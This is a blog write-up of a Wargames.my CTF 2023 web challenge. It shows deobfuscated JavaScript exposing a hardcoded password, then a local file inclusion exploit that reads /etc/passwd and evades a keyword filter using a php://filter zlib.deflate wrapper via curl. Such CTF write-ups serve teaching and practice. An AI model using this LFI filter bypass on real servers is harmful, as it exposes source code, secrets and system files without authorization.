Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon [Web] Warmup - Web Wargames.my CTF 2023

Warmup - Web


Image in a image block

For this challenge, we were given a website as below.

Image in a image block
Simple website that checks for password
Image in a image block
Password checking

Apparently, the password checking is only done on the client-side inside the file script.min.js and it is obfuscated.

Image in a image block
script.min.js

Deobfuscating the code you will get:

(function (_0xaa640e, _0x279ce4) {
  var _0x6ee5d0 = _0xaa640e();
  while (true) {
    try {
      var _0x2293f4 = parseInt(_0x3f9b(388, 0x3fd)) / 1 * (parseInt(_0x3f9b(386, 0x188)) / 2) + parseInt(_0x3f9b(347, 0x3bd)) / 3 * (parseInt(_0x3f9b(397, 0x425)) / 4) + parseInt(_0x3f9b(368, 0x1c0)) / 5 * (parseInt(_0x3f9b(422, 0x42c)) / 6) + parseInt(_0x3f9b(374, 0x1c4)) / 7 + parseInt(_0x3f9b(416, 0x3ff)) / 8 * (-parseInt(_0x3f9b(365, 0x16e)) / 9) + parseInt(_0x3f9b(411, 0x1c9)) / 10 * (-parseInt(_0x3f9b(384, 0x1bc)) / 11) + -parseInt(_0x3f9b(420, 0x1fb)) / 12;
      if (_0x2293f4 === _0x279ce4) {
        break;
      } else {
        _0x6ee5d0.push(_0x6ee5d0.shift());
      }
    } catch (_0x294895) {
      _0x6ee5d0.push(_0x6ee5d0.shift());
    }
  }
})(_0x5b64, 642410);
function _0x5b64() {
  var _0x111e3e = ['kcGOlISPkYKRkq', 'y2XPy2S', 'CxvLCNLtzwXLyW', 'y29UC29Szq', 'CMv0DxjUicHMDq', 'BMn0Aw9UkcKG', 'mwu4zgvJoc5WAa', 'zgTpzvK', 'B3jKx2LZx3nVxW', 'y29UC3rYDwn0BW', 'txnSwe8', 'zg11teq', 'D2fYBG', 'zhH6EM8', 'm1bftuThuG', 'v0DyBui', 'sNjctvm', 'DgHLBG', 'Dg9Y', 'vhLpB08', 'otm0otGYzJK4na', 'ChjVDg90ExbL', 'Aw5WDxq', 'E30Uy29UC3rYDq', 'BNbWB2S', 'DevJsxG', 'yMLUza', 'zxjYB3i', 'Dgv4Da', 'ChjLDMvUDerLzG', 'v2PVyxe', 'mxWZFdr8mNWW', 'mJu1mZG4nwLIExP2Cq', 'C3rLBMvY', 'Bwfytxu', 'mtu5odu4me1hBNbrtG', 'r1bfuxG', 'r1b5tKK', 'D29Yza', 'CM4GDgHPCYiPka', 'whryrNm', 'mtC2ntreCMXZtwu', 'zMLYzq', 'CgHW', 'Ag1XCge', 'u0Lts3K', 't29WCY4UlG', 'C2vHCMnO', 'D2vHA19Px2nHBG', 'r29VzcbQB2iH', 'yxvSDa', 'mZy0mw9Zu014yW', 'y0TlEfO', 'mJuXnZy2zfbTv0vU', 'ruDPEeu', 'mM5zBND3yG', 'DgfIBgu', 'tMrqB0y', 'tw9Zvhi', 'C3bSAxq', 'DgHPC19WyxnZDW', 'Cd94pwzSywDFzG', 'DhjHy2u', 'D1PjwgC', 'ndm2mtq2meDXqwjMtW', 's2zsuLO', 'tLLRtKy', 'm3W0Fdb8nxWYFa', 'q3vmCLG', 'Ag16CeK', 'DMfSDwu', 'C3vJy2vZCW', 'B3jFD2fYBxvWlG', 'l2fWAs80yweYmG', 'mv9ZzwmH', 'CLrjBuG', 'D3jVBMCGCgfZCW', 'vM5RrgO', 'mZu4otbAvfPPBwG', 'ruPOzMC', 'Dg9tDhjPBMC', 'B3Lrr1O', 'x2nYywnRx2LUxW', 'oez1Bgvnuq', 'B0vosvK', 'AKvns2i', 'yxbWBhK', 'mJi3nJaWngnAC2XLsa', 'y3rVCIGICMv0Dq', 'mtHqA01ttLi', 'yJHHmdqZogi3ma', 'AxbrEvO'];
  _0x5b64 = function () {
    return _0x111e3e;
  };
  return _0x5b64();
}
var _0x31b52a = function () {
  var _0x1c26b9 = true;
  return function (_0x35b67b, _0x1f8cee) {
    var _0x3e2013 = _0x1c26b9 ? function () {
      if (_0x1f8cee) {
        var _0x470f07 = _0x1f8cee.apply(_0x35b67b, arguments);
        _0x1f8cee = null;
        return _0x470f07;
      }
    } : function () {};
    _0x1c26b9 = false;
    return _0x3e2013;
  };
}();
var _0x87d8f9 = _0x31b52a(this, function () {
  return _0x87d8f9.toString().search("(((.+)+)+)+$").toString().constructor(_0x87d8f9).search("(((.+)+)+)+$");
});
_0x87d8f9();
var _0x4ddd43 = function () {
  var _0x44f874 = true;
  return function (_0x5a8fac, _0x59bbc2) {
    var _0xab1b95 = _0x44f874 ? function () {
      if (_0x59bbc2) {
        var _0x3d47af = _0x59bbc2.apply(_0x5a8fac, arguments);
        _0x59bbc2 = null;
        return _0x3d47af;
      }
    } : function () {};
    _0x44f874 = false;
    return _0xab1b95;
  };
}();
function _0x149f13(_0x4f6340, _0x34750d, _0x5f53d7, _0x3a026d) {
  return _0x3f9b(_0x3a026d + 0x4f, _0x5f53d7);
}
var _0x4a3f13 = _0x4ddd43(this, function () {
  var _0x11fa3c;
  try {
    var _0x42f49b = Function("return (function() {}.constructor(\"return this\")( ));");
    _0x11fa3c = _0x42f49b();
  } catch (_0x264e09) {
    _0x11fa3c = window;
  }
  var _0x14a4bd = _0x11fa3c.console = _0x11fa3c.console || {};
  var _0x41e6a7 = ['log', "warn", 'info', "error", 'exception', "table", "trace"];
  for (var _0x2797c0 = 0; _0x2797c0 < _0x41e6a7.length; _0x2797c0++) {
    var _0xf8cfd6 = 0;
    var _0x39e12b = _0x4ddd43.constructor.prototype.bind(_0x4ddd43);
    var _0x75605d = _0x41e6a7[_0x2797c0];
    var _0x50b23c = _0x14a4bd[_0x75605d] || _0x39e12b;
    _0x39e12b.__proto__ = _0x4ddd43.bind(_0x4ddd43);
    _0x39e12b.toString = _0x50b23c.toString.bind(_0x50b23c);
    _0x14a4bd[_0x75605d] = _0x39e12b;
  }
});
_0x4a3f13();
function _0x10abf6(_0x167ffc, _0x3e8f95, _0x13e45b, _0x11dbee) {
  return _0x3f9b(_0x3e8f95 - 0x17, _0x167ffc);
}
function _0x3f9b(_0x56cda9) {
  var _0x5e0796 = _0x5b64();
  _0x3f9b = function (_0x159172, _0x327444) {
    _0x159172 = _0x159172 - 334;
    var _0x209866 = _0x5e0796[_0x159172];
    if (_0x3f9b.sYkZqe === undefined) {
      var _0x271090 = function (_0x32812a) {
        var _0x169b0e = '';
        var _0x3fff78 = '';
        var _0x208479 = _0x169b0e + _0x271090;
        var _0x2497e4 = 0;
        var _0x37b169;
        var _0x45ea43;
        for (var _0x3fea6e = 0; _0x45ea43 = _0x32812a.charAt(_0x3fea6e++); ~_0x45ea43 && (_0x37b169 = _0x2497e4 % 4 ? _0x37b169 * 64 + _0x45ea43 : _0x45ea43, _0x2497e4++ % 4) ? _0x169b0e += _0x208479.charCodeAt(_0x3fea6e + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x37b169 >> (-2 * _0x2497e4 & 6)) : _0x2497e4 : 0) {
          _0x45ea43 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x45ea43);
        }
        var _0x2a72a1 = 0;
        for (var _0x6480c9 = _0x169b0e.length; _0x2a72a1 < _0x6480c9; _0x2a72a1++) {
          _0x3fff78 += '%' + ('00' + _0x169b0e.charCodeAt(_0x2a72a1).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0x3fff78);
      };
      _0x3f9b.eukupw = _0x271090;
      arguments;
      _0x3f9b.sYkZqe = true;
    }
    var _0x115e85 = _0x5e0796[0];
    var _0x4582af = _0x159172 + _0x115e85;
    var _0x3cbbc1 = arguments[_0x4582af];
    if (!_0x3cbbc1) {
      var _0x16ba8c = function (_0x265973) {
        this.gGpmmd = _0x265973;
        this.hCFOdd = [1, 0, 0];
        this.Owsqpw = function () {
          return 'newState';
        };
        this.uhiLyk = "\\w+ *\\(\\) *{\\w+ *";
        this.gfRlUj = "['|\"].+['|\"];? *}";
      };
      _0x16ba8c.prototype.oVuBNR = function () {
        var _0x455c13 = new RegExp(this.uhiLyk + this.gfRlUj);
        var _0x36be15 = _0x455c13.test(this.Owsqpw.toString()) ? --this.hCFOdd[1] : --this.hCFOdd[0];
        return this.fiTstY(_0x36be15);
      };
      _0x16ba8c.prototype.fiTstY = function (_0x6a65c3) {
        if (!Boolean(~_0x6a65c3)) {
          return _0x6a65c3;
        }
        return this.VMqRnh(this.gGpmmd);
      };
      _0x16ba8c.prototype.VMqRnh = function (_0x59d91e) {
        var _0x15254d = 0;
        for (var _0x2b7ae2 = this.hCFOdd.length; _0x15254d < _0x2b7ae2; _0x15254d++) {
          this.hCFOdd.push(Math.round(Math.random()));
          _0x2b7ae2 = this.hCFOdd.length;
        }
        return _0x59d91e(this.hCFOdd[0]);
      };
      new _0x16ba8c(_0x3f9b).oVuBNR();
      _0x209866 = _0x3f9b.eukupw(_0x209866);
      arguments[_0x4582af] = _0x209866;
    } else {
      _0x209866 = _0x3cbbc1;
    }
    return _0x209866;
  };
  return _0x3f9b(arguments, _0x56cda9);
}
document.querySelector('button').addEventListener("click", _0x3ac921 => {
  _0x3ac921.preventDefault();
  if (document.querySelector("input").value === "this_password_is_so_weak_i_can_crack_in_1_sec!") {
    fetch("/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php").then(_0x5c12f5 => _0x5c12f5.text()).then(_0x509e6e => Swal.fire({
      'title': "Good job!",
      'html': _0x509e6e,
      'icon': "success"
    }));
  } else {
    Swal.fire({
      'title': "Oops...",
      'text': "wrong password",
      'icon': "error"
    });
  }
});

Notice that the password is in plain sight: this_password_is_so_weak_i_can_crack_in_1_sec!

Inserting the password that we’ve found brings us to this message below and at the same time it will fetch /api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php endpoint in the background.

Image in a image block
Image in a image block
/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php

We should be able to get the flag now, right?

Sadly no 😢

Well.. at first I was puzzled, since there is no comment which contains the flag that can be seen in the web previously or in the endpoint.


Further inspection on the endpoint, there is indeed a LFI (Local File Inclusion) vulnerability in x
parameter.

Image in a image block
LFI /etc/passwd
Image in a image block
Certain keywords are blocked. data, proc, convert n few others
Image in a image block
php:// is allowed.

Then, I finally come up to a conclusion, maybe the flag is inside the PHP comment?

We could try reading it!

But, there’s a problem...

When you use LFI to include a PHP file, it will automatically execute the PHP file.

Which makes any PHP comment unrendered/not shown on the page.

But we know that we could use php://

Idea:

Fetch the source code of the PHP file in a different form (which will not be executed) using php://

Solution


Further enumeration, I found that we couldn’t use string or convert which makes this challenge little bit harder to solve.

As I was scrolling through documentation and google, looking on various filters PHP has,

there’s one thing that is not blocked, and might be useful.

php://filter/zlib.deflate/resource=file.php

What this PHP wrapper above does is, it will compress file.php into zlib

Which, could then be decompressed using:

<?php
readfile('php://filter/zlib.inflate/resource=deflatedfile');
?>

Now let’s put it to the test!

# curl command to output 'flagfile'
curl -X GET 'http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=php://filter/zlib.deflate/resource=flag_for_warmup.php' -H 'Host: warmup.wargames.my' -o flagfile
<?php
//index.php
readfile('php://filter/zlib.inflate/resource=flagfile');
?>

Next, is to run the command php -S 0.0.0.0:5557 to host a quick local server running the PHP script (index.php).

Final step, browse to localhost:5557 and you will get the flag!

Image in a image block
Yay flag!

Reflection note: This year WGMY is definitely harder in terms of difficulty, but I am still happy that I was able to solve more compared to last year. There were a few challenges where I was close to solving, but again dumb mistakes 🤡

Big thanks to WGMY crews for making these awesome challenges! 🔥

Thanks for reading my writeup!